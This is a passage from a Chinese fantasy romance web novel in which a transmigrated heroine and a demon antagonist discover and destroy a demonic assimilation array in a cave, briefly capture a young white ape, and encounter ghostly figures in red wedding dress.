两人对视一眼决定分头行动,黎绕月为了完成复仇指标,打算先对那几个修仙弟子动手,裴汔不想让黎绕月独行,便陪她一同去。
当两人顺着那群弟子离开方向追去时,却发现人不见了,两人十分诧异,黎绕月当机立断道:“去找另一个。”
追白英空的过程很顺利,他们躲在暗处准备出手时,突然看见白英空拿出了一个罗盘,还听见他说。
“罗盘指向鬼石所在的方位是………南边,一直往南走就好了,也不知师弟何时才来。”
两人对视,眼中倒映着对方震惊的脸。
黎绕月:“凌仙宗什么时候出了一个能寻找鬼石的法器?”
裴汔摇头,表示他不知,“从未听过,跟上去瞧瞧。”
当两人准备跟上去时,一身墨绿衣袍的靳江浛闪现在两人面前。
两人瞬间警惕,裴汔问:“你是谁?”
“我是谁不重要。”
话落,靳江浛半举起手,伸出食指朝天随意画了个圆,指尖流转着些许黑气,只不过两人都未曾看到。
刹那间,两人听见身后有动静,回头一看,那几个消失得修仙弟子出现在他们身后,他们浮在半空,身上还被黑气缠绕,黑气将他们死死地锢住。
两人一头雾水,不知晓靳江浛要做什么,只见靳江浛垂下手臂,而那群弟子突然开始剧烈挣扎,表情痛苦,张着嘴惨叫。
不出五秒,那群弟子便没了生息。
两人被眼前的一幕震惊到了,还没缓过神来,就听靳江浛道:“两位,真是好久不见了,这是送你们的见面礼。”
裴汔急忙挡在黎绕月面前,黎绕月却轻轻将人给推开,她走上前道:
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“这位兄台,我们以前见过?”
“这也不重要,跟上来吧。”
靳江浛转身就走,两人还在犹豫时,又听见他说:“想要得到鬼石的话。”
一想到鬼石,黎绕月想也不想就跟了上去。
靳江浛将两人带到白英空面前,开口说:“这两位是青山宗的弟子,青山宗惨遭魔族覆灭,他们打算寻找魔族,为青山宗复仇。”
两人皆是一愣,他们怎么就成青山宗的修仙弟子了?
白英空对此倒是深信不疑,他同意了与两人一同上路的请求。
在此期间,两人想要对罗盘下手,可就是找不到好的时机,就这样,两人只能一直跟着白英空。
“事情的经过就是这样,他一挥手就能将五六个修仙弟子杀死,实力不容小觑,更何况白英空手里有寻找鬼石的法器,岁忆谙………你还是离他远些吧。”
最后,黎绕月充满善意地提醒了岁忆谙一句。
岁忆谙默默听完一切,心中吐槽起了靳江浛,还好久不见,她真是服了,这死装样儿。
她也想远离靳江浛,可靳江浛成了白英空师弟,要是她与靳江浛不认识还行,依照靳江浛那个性子,他绝对不会理陌生人,难办……
黎绕月正向说什么时,岁忆谙比了个噤声的手势,接着又指了指门外。
她看见门外隐隐约约有道人影闪过。
门外有人偷听。
黎绕月闭上嘴,她明显还想再说些什么,岁忆谙却道:“改日再聊吧。”
房内寂静,岁忆谙愁眉不展,她躺在床榻上翻来覆去,怎么也睡不着,呼吸有些艰难,她坐起身推开窗透气。
明月高挂,洁白的月光洒落房中,清凉的风吹在岁忆谙的脸上,她呼出一口长气,心头忧愁减了不少。
【宿主大人,您在担忧什么?】零零零看出了岁忆谙的烦躁,它问。
岁忆谙才不会告诉零零零她真正忧心的事,她装作失望道:【靳江浛又杀人了。】
这事儿零零零解决不了,不过它可以打小报告。
岁忆谙睡不着,她坐在桌前潜心画符,借着月光的灵气,画符轻松了许多,零零零给她的古籍上有一两百种符箓,还有几十个咒语。
只不过岁忆谙很少用,因为她记不住,符箓倒是可以照着书画。
不知不觉间,岁忆谙画到了后半夜,握着手里厚厚的一沓黄符纸,岁忆谙心生愉悦,她收起纸笔,眺望窗外放松双眼。
这时,远处的空中飞起一只纸鸢,岁忆谙都见怪不怪了,总有人在这几日的夜里放纸鸢,真是稀奇。
等一下,纸鸢!
纸……鸢………阿纸和阿鸢?
这纸鸢很有可能是两姐妹放的,这个念头从岁忆谙脑中一闪而过。
岁忆谙下了床换了衣裙,顺便拿了件薄披风,穿戴整齐好后,她离开客栈,快步朝纸鸢所在的方向走去。
幽静的林子里,树干枝叶茂密,月光透不进来,岁忆谙拿着照明符往林子深处而去,咯吱咯吱的碎叶枯枝声响起。
走着走着岁忆谙就发现林间响起了两道脚步声,一道是她的,还有一道出现在她的身后。
24. 双面间谍
另一道脚步声几乎与她的脚步声重合。
岁忆谙停下步伐,身后的那道脚步声也跟着停下,她抬脚又走上几步,身后的脚步声也跟着响起。
她迅速回头看,身后空荡荡的,萦绕在耳边的只有自己剧烈的心跳声,远处的漆黑。
说不紧张是假的,岁忆谙艰难地吞了口唾沫,一想到零零零之前说这个世界有鬼,她就崩溃,修仙世界出现鬼干啥呀!
岁忆谙又掏出了几张照明符,光亮变大了些,她依旧不死心,生怕自己听错了。
于是岁忆谙屏住呼吸转身,她放轻了脚。
哒———哒———
哒———哒———
的确有两道脚步声,一道轻,一道重。
岁忆谙继续走着,脑子疯狂转动,她拿出仅剩下的一张穿梭符,现在要用吗?万一等下子遇到危险了怎么办?
思索之间,手中的符纸突然被一股力量抽走。
符纸在空中飘飘扬扬,岁忆谙没有过多思考那股力量从何而来,她跳起来慌忙地想要抓住,就连照明符掉在地上都顾不上。
这可是她最后一张现成的穿梭符了,千万不能丢啊!
岁忆谙接连蹦了几下,那张符纸像是有自我意识般上下浮动,每次都只差一点点就可以碰到。
脚下似乎被什么东西绊到了,岁忆谙身子一晃,整个人朝前倒去,就在她以为自己要脸着地摔倒时,身子顿时停在半空,
岁忆谙松了口气,她低头一看,一条手臂横在腰间,顺着手臂向上看。
“靳江浛?”
原本空荡一片的地方逐渐出现人影,靳江浛一身白衣,容貌俊朗,逆着白月光的脸显得柔情了许多。
只不过要是忽略掉他眼中的戏弄的话,岁忆谙倒是会好好欣赏他一番。
“放开我!”
岁忆谙站稳后挣脱开靳江浛的手臂,她伸手去抢自己的符纸。
“符纸还我。”
靳江浛当着岁忆谙的面,将符纸放进胸膛的衣襟里,他一字一顿,十分欠揍道:“我、不、还。”
岁忆谙眯了眯眼,她踮起脚,迅速伸手揪上靳江浛的耳朵,气愤道:“抢我符纸,吓唬我很有意思是吧你。”
现在有了第二个人的存在,岁忆谙的恐惧减少了许多,脑子也清楚了,刚才那脚步声八成是靳江浛的,用隐身术跟踪她,还抢她的符纸,真是不可饶恕。
“痛痛痛,我错了。”靳江浛被扯得耳朵疼,他高举双手,视作投降,他不敢乱动,乖乖地站在原地被岁忆谙扯着。
“一天天的,你脑子里怎么那么多事儿!”
岁忆谙拉着靳江浛的耳朵走动,靳江浛为了让岁忆谙扯得轻松些,他特意弓着身子跟随。
两人都未曾注意到身边的场景都发生了变化。
岁忆谙率先发现异常,“这哪儿啊?”
岁忆谙松开靳江浛的耳朵,四处张望。
周围没有高大的树木,没有蝉鸣鸟叫,只有高高的,凹凸不平的灰色石壁,这里比林子里还要阴暗几分。
靳江浛也没来过此地,不过他在这里能感受到舒心,这里似乎有魔气。
岁忆谙好奇地往前走了几步,她突然感受到心脏一阵抽痛,口腔泛着铁锈味,喉咙腥甜,随即一口血喷出。
鲜血飞溅在地面上,有几滴甚至溅在了靳江浛的鞋靴上,他甚至能感受到血的温度
“谙!”
靳江浛慌张地将她扶到怀中。
“你怎么了?”
岁忆谙对自己吐了一口血感到有些蒙圈,心脏抽痛的感觉消失了,仿佛刚才的一切只是她的错觉。
她道:“我……我没事啊。”
“吐血了还没事!”靳江浛显然不信,他将岁忆谙扶起。
“我真没事了。”
靳江浛见岁忆谙表情无异,可她突然的吐血让靳江浛响起了城隍庙的那次,他毫不犹豫地划破手掌,鲜血流出,他将掌心递到岁忆谙嘴边。
“给。”
“你干嘛?”
岁忆谙先是被靳江浛自残的欣行为吓到了,接着她别过脸,嘴里的铁锈味加上刺鼻的血腥味令她作呕。
“你喝了我的血就不会痛了。”靳江浛将手再度凑了上去,岁忆谙伸手挡住。
岁忆谙一愣,她很想质问靳江浛为何会知晓魔血对她的用处,可惜现在不是时候。
岁忆谙挣脱开靳江浛的手,她刚想往回走离开这里时,心脏抽痛的感觉又来了,这次她双腿发软,径直跪倒在地。
“噗———”
又一口血飞溅在空中。
岁忆谙刚想问零零零这是为何时,零零零率先开口,它焦急道:【宿主大人,快握住靳江浛的手!】
岁忆谙先是在想这是何种阴谋诡计,但她心脏还痛着,她垂着头,朝靳江浛伸出手,靳江浛想也不想就将没有受伤的手握住了她。
【这里是魔族禁地,只允许魔族之人进来,外人闯入会死的。】
痛感消失,岁忆谙都无语了,怎么又是魔,视线瞥向两人交握的手,又瞥了眼靳江浛流血的受伤,心中顿时冒出了一个恐怖的想法。
岁忆谙总觉得零零零在暗戳戳让靳江浛接近她,而且只有她与零零零才知晓的东西,靳江浛怎么也会知晓?
零零零不会是双面间谍吧?!
表面上是为她服务的,实际它在帮助靳江浛,不然当她与靳江浛争吵时,它要让自己退一步,还隐瞒靳江浛这一世意识觉醒的事情。
“靳江浛!”
“你来魔族禁地干什么?!”
岁忆谙知晓这不是靳江浛干的,可她还是恶狠狠地瞪了靳江浛一眼。
“我…………我没来,这里不是魔族禁地。”靳江浛十分委屈,但小声地为自己辩驳,看着极其可怜。
【零零零!】岁忆谙怒吼。
零零零没有想到岁忆谙会直接将找靳江浛,它连忙道:【宿主大人,零零零错了,零零零刚刚在摸鱼,说错话了,这里有魔族法阵。】
回完岁忆谙后,它还要应付靳江浛的疑问。
【大反派,宿主大人吐血是因为她承受不了这里的魔族气息,你应该也感受到了这里有魔族法阵,我已经修改了缓解方式,只要宿主大人与你有肢体接触就会安然无恙。】
靳江浛听完,一想到岁忆谙吐了两口血他就心痛,他压着怒气。
【下次这种损害谙身体的事能不能提早说,废物。】
零零零被靳江浛骂了,它瞬间懵在原地,接着扶额苦笑,随后咬
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着帕子偷偷哭泣。
骂它作甚啊,宿主大人都没骂过它,虽然她有时语气不太好,但她是自己的宿主,要不是为了任务。
这大反派算什么东西,自己还不把他放不进眼里呢,简直是太可恶了!
石洞中,岁忆谙站起身,她用空出的一只手拍了拍靳江浛的肩膀,眼眸上浮着愧疚神色,可眼底却冰冷无比,她毫无歉意道:“错怪你了,对不起啊——”
靳江浛并没有察觉,他弱弱地说:“没关系……”
靳江浛举起两人交握的手,故意装作一脸天真无邪地问:“你不松开吗?”
“不松啊,松开我就要死了。”
岁忆谙展开笑颜,笑靥如花,嘴角还挂着血丝,脸煞白煞白的。
碰巧的是,今晚她也穿了一袭白衣纱裙,披了一件白色披风,胸前染上了些许红色血滴,像是冬日里绽放的红梅。
整个人看起来脆弱不已,就像是即将要破碎消散的灵魂。
岁忆谙把死说得轻松至极,仿佛地上的两口血不是她吐的。
靳江浛微微皱眉,他看得心一抽,忍不住举起手触碰上岁忆谙的脖颈,伸出拇指擦掉了她嘴角的血迹。
对于靳江浛的举动,岁忆谙并没有躲避。
空间里的零零零超级激动,它感叹道,宿主大人与大反派的相处终于有了进一步的发展!
靳江浛擦完后才反应过来自己做了什么,他生怕岁忆谙露出厌恶的表情,于是迅速收回手,只是他忘了自己掌心的伤口没有愈合,还流着血。
岁忆谙感觉下颌处湿漉漉的,上手一抹,是靳江浛的血,她十分无语地看向靳江浛。
靳江浛慌慌张张地想拿帕子擦,可他没有帕子,手便握成拳状,揪着袖口擦掉她下颌的血,动作仔细,力道轻柔,还顺便将岁忆谙指尖沾上的血擦掉。
“干净了…………”靳江浛又弱弱地说。
岁忆谙翻开靳江浛的手,一道长长的伤口贯彻手掌,满手都是血,靳江浛注意到了她的视线,还特意张开让她看得更清楚些。
“疼。”
靳江浛撒娇般开口,岁忆谙垂着脑袋,神情扭曲,一阵恶寒。
靳江浛看不到岁忆谙的表情,他紧张地等待着岁忆谙接下来的举动。
只见岁忆谙将手伸进布袋子里掏着,一张黄色符箓被她拿了出来。
“这是愈合符,能够帮你迅速愈合伤口。”说罢,岁忆谙将符纸盖在靳江浛的掌心。
没一会儿,靳江浛就感觉掌心痒痒的,一直痒到他心尖儿上,他想抽回手,却被岁忆谙警告。
“别乱动,别浪费了我一张符。”
靳江浛不再动弹,那股子痒意很快蔓延全身,他耳朵泛红,另一只握着岁忆谙的手握得更紧了些。
良久,掌中的愈合符消失,伤口被愈合。
“你自己能搞干净吧。”岁忆谙问。
靳江浛开口想让岁忆谙帮他擦干净,可这好像有点得寸进尺了,他还是自己来吧。
本来那一条伤口靳江浛可以自行施法愈合,他没想到岁忆谙竟然会这么大方地给自己用了一张愈合符。
虽然岁忆谙和他吵过架,但是自己受伤后,她就会不计前嫌给自己疗伤。
她真的是太好了。
25. 同化
岁忆谙才不知晓靳江浛心底的弯弯绕绕,她在观察周围的环境,她想找到可以出去的路。
石洞宽敞,唯一的亮光还是从岁忆谙手中掉落在地上的照明符,岁忆谙让靳江浛将照明符捡起,靳江浛乖乖捡起。
两人往回走,岁忆谙步子比较急,她快了靳江浛一步,突然噔的一声,额头好似撞到了什么东西。
岁忆谙疼得倒吸一口凉气,靳江浛慌忙地帮她揉着额头。
岁忆谙伸脚试探性地往前探去,原本空无一物的地方,她却踢到了什么东西。
两人对视一眼,岁忆谙伸出手,手掌触碰到了一层屏障。
刷————
淡绿色的光芒从手掌下散出,一条条绿线向外延伸,宛若相互纠缠,生长迅速的藤蔓,石洞瞬间被绿光照亮。
“这是什么东西?”岁忆谙放下手。
靳江浛有些诧异,他道:“这破………安宁村里面竟然有结界,这结界印记还是凌仙宗的,有问题。”
靳江浛说得很委婉,石洞中有魔族法阵,而这法阵被凌仙宗之人用结界保护了起来。
岁忆谙问:“你可看出了这是何种结界,这结界的作用又是什么?”
靳江浛说:“很普通的保护结界,不过只有魔族和身上沾染魔气之人才能进入此界,只是不知在保护什么东西。”
凌仙宗里除了那几个百年前从仙魔大战中逃出来的弟子,就没人接触过魔族了。
当年逃出来的凌仙宗弟子,有一个修炼成仙,剩下几个资质一般,日积月累地修炼倒也成了凌仙宗长老。
靳江浛是魔族,自然能进来,而岁忆谙身上有魔族的气息很正常,她是扯着靳江浛的耳朵进来的。
“不过我们不能久留了,当我们踏进这个结界的时候,设下结界之人应该已经知晓我们的闯入了。”
靳江浛侧头看她,问:“走吗?”
岁忆谙一听,还没回答时,又听他道:“还是说你想去里面看看?”
岁忆谙瞅了他一眼,靳江浛说这句话的意思显然是不想走,不过她也十分好奇里面到底有什么。
靳江浛的确不想离开,他有一个荒唐的想法。
靳江浛在想这里会不会有与他同族之人,不然他怎会感应到魔族法阵,此地还被凌仙宗保护了起来,可岁忆谙还在这儿,他得先将岁忆谙送出去,然后再独自一人来到这里。
岁忆谙沉思着,靳江浛也不催促,就站在原地静静等待着,他才不怕设下结界之人,倘若那人真来了,他把人杀掉不就好了。
“当然是进去看看。”岁忆谙拉着靳江浛往里走。
两人往石洞深处走去,里面有一条通道,越往里走道路越窄,到最后两人只能侧着身子一前一后像个螃蟹一样横着走。
前方出现微弱的光点,两人终于走出石道。
石洞的另一边又是一个石洞,只不过这个石洞更大更敞亮。
两人抬脚踏进去的那一个瞬间,地面上出现了一个巨大的法阵纹路,它布满整个石洞的地面甚至是墙壁和天花板,法阵散发着白色的光芒。
靳江浛在看到这个法阵的那一刻,满脸震惊。
岁忆谙险些被亮瞎了眼,她快速眨巴了几下眼睛,等到适应这里的光线后,她能看见石洞中央有一个石柱,石柱大概有一米高。
岁忆谙快步走了上去,她微微弯腰,石柱上方竟然漂浮着一颗红色的圆珠子,珠子有些小,离远了还看不清上面有东西。
“靳江浛,你可知这珠子是何种材质,是玛瑙吗?还是宝石?”岁忆谙好奇地问,眼里流露了对珠子的渴望。
靳江浛面上的震惊早已消失,他淡淡开口:“魔族人的血。”
“你的血吗?”
岁忆谙的随口一问令靳江浛心跳加速,他深知这个法阵的作用,倘若岁忆谙知晓了此阵的用处,又怀疑这是自己的血,那她会生气吗?
“不是我的血。”
靳江浛平静地摇头,心中却慌急了,他也不知自己怎么如此心慌,这血不是他的,这法阵也不是他设下的,他在慌什么?
这确确实实不是靳江浛的血,他能感受到这滴血是一女子的,魔族女子,不过他不知晓这滴血的主人是否还活着。
听到回答的岁忆谙一脸可惜,真是可惜了,竟然不是值钱的东西。
靳江浛时时刻刻都在注意岁忆谙脸上的每一个表情,生怕岁忆谙怀疑他。
在他看到岁忆谙眼神中的可惜时,他很是困惑。
靳江浛有想过岁忆谙可能会露出怀疑或是信任的神情,可是可惜又是什么意思?
他不懂。
“这个法阵是复刻法阵,特殊的是,这个法阵里加了一道同化咒。”
她追问:“复刻魔血吗?那同化什么?”
“同化…………”靳江浛有些难以开口。
岁忆谙直起身子,出声催促:“我最讨厌说话说一半了,你快说,同化什么?”
“这血既是魔血,这咒既是同化咒,那肯定是想将安宁村的全部村民同化成魔。”
“当然这只是我的猜测。”生怕岁忆谙怀疑他,他说完又补上一句。
岁忆谙头疼。
按照靳江浛这么说的话,外面保护阵法的结界疑似凌仙宗人设下的,那这么说,凌仙宗里岂不有人想将村同化成魔族。
原剧情里她可没写这一段,岁忆谙懒得思考了,她道:“我们走吧。”
靳江浛错愕,问:“你不觉得这是我布下的结界?”
岁忆谙没想过,她反问:“是你吗?”
“不是我。”
“那不就行了。”
靳江浛又问:“那……你想毁掉这个造魔的法阵吗?”
“我………随便你,这个法阵与我无关,不过白英空肯定想毁掉,可这个阵法上又有凌仙宗的印记,就是不知晓白英空得知后,会是怎样的态度。”
岁忆谙猜测,凌仙宗有人想复活魔族…………应该吧。
白英空………
靳江浛听完岁忆谙说的话后,看向她的眼神逐渐变得幽深,握着她手的力度逐渐加重,试图将她的注意力转向自己。
岁忆谙感觉自己和靳江浛交握的手变痛,像是要被捏成肉泥,她惊呼出声。
“嘶,靳江浛,你握疼我了!”
岁忆谙下意识前后晃手,企图挣脱。
靳江浛脸色阴暗,见岁忆谙抬头,他气鼓鼓地别过脸,放松了握着
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岁忆谙手的力道。
他嗓音低沉,语气酸涩:“管白英空做什么,现在这里只有我们两个人。”
岁忆谙无言以对,她突然瞥见靳江浛身后好像有个人影。
“好像不止两个人,还有一个……”
岁忆谙探出脑袋看向靳江浛身后,看清是什么东西后,她瞪大了眼。
“一只猿?”
靳江浛转身看去。
“吼!”
巨大的嘶吼声响彻石洞,一道异常高大的身影从阴影中走出,出现在两人眼前的是一只浑身雪白的猿。
它蹲坐在地上,毛发旺盛,臂膀是一拳就能轮死两人的粗壮,那黑不溜秋的大眼睛死死盯着两人。
“白猿?!”靳江浛万分吃惊,这魔兽白猿怎么会出现在这里?!
靳江浛来不及多想,他将岁忆谙护在身后,两人与白猿对上视线,谁都不敢移开,靳江浛正想化出岁岁备战时,手臂传来一股拉力。
“跑!”
岁忆谙拉着靳江浛转身就跑,两人一动,白猿也跟着动了,它追在两人身后,一蹦一跳地追着。
当岁忆谙拉着人来到最初的那个入口时,却发现那个入口消失了,岁忆谙只能顺着石壁继续跑,她边跑边问:“入口呢?怎么没了?”
靳江浛道:“看来这里的地形也被下咒了,入口会随着时间的移动而发生变化。”
“那白猿是怎么凭空出现的?”白猿那么大个儿,入口那么小,它是怎么挤进来的?!
“我也不知。”
这么一直跑下去也不是办法,靳江浛松开岁忆谙的手,将她推开,他化出黑石长剑。
“你先躲起来,我解决它。”
“我躲不了,你别松开我啊!”
被推开岁忆谙又跑了回去,她环住靳江浛的胳膊,靳江浛一急就忘了岁忆谙离不开他。
“等一下,我找张符。”岁忆谙开始掏符。
靳江浛先是朝狂奔而来的白猿挥出一剑,黑色剑气朝白猿袭去,白猿察觉到危险气息,身子看着笨重,但动作还挺迅速,它一个侧滚躲开剑气。
白猿正好身子后,向两人飞扑过去。
靳江浛拉着岁忆谙飞上半空,越过白猿落在地上,白猿刹不住车,一头撞上了石墙。
整个石洞被撞得晃动,碎石从天花板掉落,法阵的光芒弱了几分,白猿捂着脑袋晃了晃,刚转身,一张黄色符纸就朝它飞去,贴上了它的额头,身子顿时动弹不得。
“还是符箓好用。”岁忆谙松了口气。
靳江浛见此将岁岁收回。
危机暂时接触,岁忆谙放开挽着靳江浛的胳膊,靳江浛顺势牵上她的手。
两人朝白猿走去,白猿有三米高,甚至能听到它沉重的呼吸声。
“危险,你小心点。”靳江浛见岁忆谙走这么近,急忙将她拉远了些。
岁忆谙仰着脑袋看它,问:“这白猿这么大个儿,怎么看上去傻傻的?”
“这个白猿应该还不到三岁,按理说白猿不应该出现在这里的,它们应该在远离人间的午荒山上。”靳江浛沉思着。
“三岁?!”
“长这么大还不到三岁,那不就是小孩子一个。”
26. 出现了
相较于岁忆谙的吃惊,靳江浛则是一副见怪不怪的模样,“白猿最大可以长到十丈。”
“十丈…………三十米,这么高。”
岁忆谙感叹完后,又问:“午荒山?那是哪儿?”
又是一个她没写过的地方。
“在……咳咳咳。”
兴许是心虚,靳江浛一出声就被自己的口水呛了一下,他闷声咳嗽,咳完后镇定道。
“魔境,午荒山在魔境最西边,离洛河村还是很远的。”
“那它是怎么跑到安宁村的?”岁忆谙疑惑地问。
“这我也不知……”靳江浛说的时候还小心翼翼地看了眼岁忆谙,见她没有任何异常才放下心来。
靳江浛还在思考该如何解决这个同化法阵,说实话,他并不想摧毁这个法阵,将人同化成魔族也是他想要的,最起码能重振魔族。
可当着岁忆谙的面,他又必须得销毁掉。
“这白猿有没有主人?”
思索之际,靳江浛听到了岁忆谙的问题,但他不知晓岁忆谙想要干什么,他也没问,凝神看了白猿一眼,说:“它身上没有契约印记,没有主人。”
没听见回答,靳江浛侧头看她,只见岁忆谙手里拿着一本古籍,是上次在洛河村被村民围攻时她看的那本。
“你要做什么?”靳江浛问,上次被定住的滋味真不好受,还是系统帮他解开的。
岁忆谙道:“我想让它当我坐骑,到时候,你们都御剑飞行去了,我总不能老用穿梭符吧,多耗我灵力。”
靳江浛心情再度不爽:“和我一起御剑不好吗?”
岁忆谙想也没想就回:“我不想和你御剑飞行。”
没什么原因,单纯不想而已。
“你就这么嫌弃我?”靳江浛情绪低落,眼底戾气开始翻涌。
周围的温度瞬间冷了下来,阵阵寒气从靳江浛身上散发而出,岁忆谙无奈,将视线从古籍上转向靳江浛的脸,她举起两人交握的手,问:“你觉得我嫌弃你吗?”
靳江浛:“………………”
虽然靳江浛没有回话,但岁忆谙能感觉到他心情比刚才好了许多。
她催促道:“别发呆了,你快点想法子出去,你不是说设下结界之人就要来了吗?”
零零零突然冒出来:【宿主大人,您可以骑我呀,我可是一条黑蛇,我可以变大飞上天的。】
【我要是骑了你,黎绕月和裴汔会怎么想?】
一条黑蛇一条白蛇,两人不膈应,岁忆谙还觉得膈应。
【这…………好吧。】
而另一边,靳江浛才没有认真去找出口,这可是两人单独相处并且来之不易的机会,他还要想在牵会儿岁忆谙的手。
至于那个下咒之人,管他是何身份,自己统统杀掉不就好了。
岁忆谙抱着书嘀嘀咕咕:“缩小咒……缩小咒……缩小咒……………”
岁忆谙在找缩小咒,这么大只白猿,肯定得将它缩小带在身边。
“找到了!”
岁忆谙一喜,紧接着脸上露出了纠结的表情。
“这缩小咒咒语怎么那么敷衍抽象?”
不管了,还是先试试吧。
岁忆谙将手放在白猿小腿上,她只能够到白猿的小腿,她开口念咒:“大大的大大快缩小,小小的小小再缩小,大大小小都缩小。”
听到这句咒语的靳江浛嘴角不受控制地抽了抽,他在怀疑自己的耳朵是不是听错了。
当他看到白猿真的在一点点变小时,显而易见,他没听错。
两人往后退了几步,白猿变小的速度比岁忆谙预想得还要慢,就在这时,白猿却出了一点意外,当白猿变小时,定身符早已失效。
“等一下,定身符失效了。”
“别跑!”
变小的白猿迅速朝远处跑去,岁忆谙拉着靳江浛去追。
白猿小巧灵活,一下子就跑没了影。
“煮熟的鸭子飞了…………”定身符失效,导致白猿跑掉,这可是用符以来的重大失误。
“唉,命里有时终须有,命里无时莫强求啊。”
岁忆谙虽然在叹气,但她并没有过多伤心,她的随口一句倒是让靳江浛有所感悟。
就算是不属于自己的,靳江浛也会用尽手段拿到。
“你找到出去的路了没?”
靳江浛摇头:“还没有。”
“那你不能毁掉这个结界吗?”
靳江浛又摇头:“不能。”
“你没有那个实力吗?”岁忆谙忍不住仰头看他,神情认真。
这次,靳江浛犹豫了一会儿,再次摇头:“…………没有。”
不管了,为了能和岁忆谙多待一会儿,他什么话都能说得出。
岁忆谙无奈,她掏出朱砂笔黄符纸,靳江浛问:“你又想画什么?”
“爆破符。”
“什么?!”
“我要把这里炸掉。”
“能行吗?”靳江浛不确定地问。
岁忆谙以为靳江浛不信她,便信誓旦旦地说:“此符可破万物,区区一个保护结界加造魔的阵法而已。”
岁忆谙将符画好,正要念咒甩出去时,靳江浛出手制止:“等一下,这符不会把我们炸了吧?”
“这个……这个……要不你站我前面?”
“你!”
“呵…………你扔吧。”靳江浛无语,但他还是默默做着防御姿态。
岁忆谙将灵力注入符箓,口中默念咒语,接着将符箓甩出,符箓飞上天空,在沾上结界的那一刻就发出刺眼的金光。
砰!
在符箓炸开的那一个瞬间,巨大的爆破声响彻石洞,尘土飞扬,洞里面空气疯狂涌动,因爆炸而产生的白色浓雾朝两人袭来。
靳江浛将岁忆谙紧紧护在怀中。
听见声音的岁忆谙下意识闭上眼,双手揪紧了靳江浛胸膛上的衣料,衣衫上用来系紧的衣带被吹得飘起,紧接着相互缠绕。
其实岁忆谙听见了比爆破声更要响亮的声音,那就是靳江浛的心跳声。
扑通———扑通———
岁忆谙有一瞬的晃神,渐渐的,她与靳江浛的心跳声同频。
等到石洞内恢复安静,蓝色结界支离破碎,地上阵法黯淡无光,浓雾散去,两人紧紧相拥的身影在雾中显现。
岁忆谙从靳江浛的怀中退出,她发现自己离开靳江浛后不痛了,看来魔族阵法真的被她破了。
“出来了,又是一次成功。”
岁忆谙有时真的挺佩服自己的,画符一次就成,在这个世界可是不可多得的人才。
轰隆轰
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隆,石洞即将坍塌,入口也随着阵法消失而出现。
两人一前一后走出石洞。
石洞内,一青衣男子抓起了在地上奔跑的白猿,注视了两人离开的方向许久才消失在原地。
出来后便在林子里了,岁忆谙刚想瞧瞧天色,看看此刻是什么时辰时,她又意外地看见了那只纸鸢。
“纸鸢还在飞。”
岁忆谙急忙朝纸鸢方向跑去,靳江浛没有拦她,而是跟着她一起跑。
靳江浛边跑边问:“你去哪儿?”
“找人。”
“找谁?”
“阿纸。”
靳江浛也看到了天上的纸鸢,他拉上岁忆谙的手瞬移到纸鸢所在的地方。
短短几秒,视线一晃,岁忆谙就发现自己来到了纸鸢所在的地方。
阴森黑暗的树林里,穿红色嫁衣的女子站在草地上,阴风阵阵,可女子的裙摆丝毫不动,她侧身站着,并未盖红盖头。
女子有一头乌黑亮丽的头发,似是察觉旁人的存在。
下一秒,原本及腰的发丝以肉眼可见的速度开始迅速生长,一直长到女子的脚踝处便停了下来。
在月光的照耀下,纸鸢在空中晃动,阴影落下。
岁忆谙清楚地看见地上没有女子的影子,她心脏直跳,都快要从嗓子眼儿跳出来了,这次她是真怕了,她紧张地抓紧了腰间的布袋子。
如此诡异的一幕被两人看在眼里,这时,女子的手动了,她不紧不慢地收着线。
岁忆谙甚至能看清女子那双惨白的手,红色的指甲又细又长,可她就是看不清女子的容貌。
岁忆谙身上起了一层鸡皮疙瘩,她大着胆子,试探性询问:“阿纸,是你吗?”
“你到底是人是鬼呀?”
靳江浛淡淡开口:“是鬼。
女子手上的动作一顿,紧接着继续收线,岁忆谙深呼吸,迈开步子朝女子走去。
靳江浛没有阻止,他谨慎地化出黑石长剑,随时准备应对接下来的突发情况。
两人离女子只有百步的距离,可岁忆谙走得很慢,慢到女子将纸鸢彻底收好后,她还离女子很远。
刹那间,女子转身背对着两人,这一举动吓了岁忆谙一跳,她慌忙躲到靳江浛身后,探出脑袋看去。
女子转身后就不动了,身影逐渐变得透明,直至消失。
“等一下,别走!”见人消失了,岁忆谙急忙跑出来。
正当岁忆谙想着要不要打道回府时,她的余光瞥见又有一道身影从林间缓缓走出。
“啊!”
岁忆谙还没看清是什么人就尖叫一声,这只是她的下意识反应。
靳江浛将岁忆谙护在身后,向来人看去,也是一身红衣,能看出他是男子。
“你又是谁?”
男子同样没有开口说话,他抬起手臂,指向远方。
靳江浛:“你是想告诉我们什么吗?”
岁忆谙:“那边有什么?”
男子并没有回应两人的问题,一眨眼的功夫,他就消失了。
“又消失了。”
又等了半晌,确定不会再有人出来后,岁忆谙才从靳江浛身后站出来。
“走吗?”
“去哪儿?”岁忆谙疑惑。
“他指的那个方向。”
27. 在乎我
岁忆谙打了个哈欠,想也不想就否决掉:“不去,太困了,我要回客栈睡觉。”
岁忆谙说完后就朝靳江浛伸出手,靳江浛以为她还记着自己抢了她的符箓,他别过身子,捂着胸口道:“符箓我是不会还给你的。”
岁忆谙愣了一下,这靳江浛都一百多岁了,怎么还像小时候那样耍着小性子。
经过刚才那一遭,岁忆谙都忘了靳江浛抢了她穿梭符的事,她眼珠子转悠,啧了一声。
“我是那么小气的人吗?带我瞬移回客栈,那穿梭符就当是我给你的报酬。”
好吧,靳江浛有时侯真的不懂岁忆谙在想些什么,但可以和岁忆谙牵手,他没有过多思考就点头应下:“好呀。”
看着岁忆谙伸出的手,靳江浛一想到接下来能握上就激动得面红耳赤,他垂着眸不敢看岁忆谙。
娇羞的模样看得岁忆谙想给他一巴掌让他清醒清醒。
在岁忆谙等得不耐烦时,靳江浛终于将手放在她的掌心。
岁忆谙的手很小,但很冰凉,靳江浛偷偷运转魔力为她驱寒。
“走吧。”
话落,两人的身影消失在原地,只留下被风卷起的落叶。
客栈内,睡梦中的黎绕月刷的一下从床上坐起,就在刚刚她感受到了魔力的波动。
“怎么了?”躺在外侧的裴汔也迅速坐起身来。
黎绕月没有说话,她绕过裴汔下床,披上外衫来到厢房外的走廊上,她向下看去,刚好看见了走进客栈的岁忆谙和靳江浛。
靳江浛似是察觉到了楼上的视线,抬头看去却空无一人,他平淡地收回视线。
一条蛇而已,他并不在意。
岁忆谙拖着疲惫的身子回到上了楼,自顾自地打开门走进去,刚要关门时,却被一股力量挡住了。
靳江浛用脚抵着房门,也不说话,就静静地看着岁忆谙。
岁忆谙也不知晓他要做什么,她也不说话。
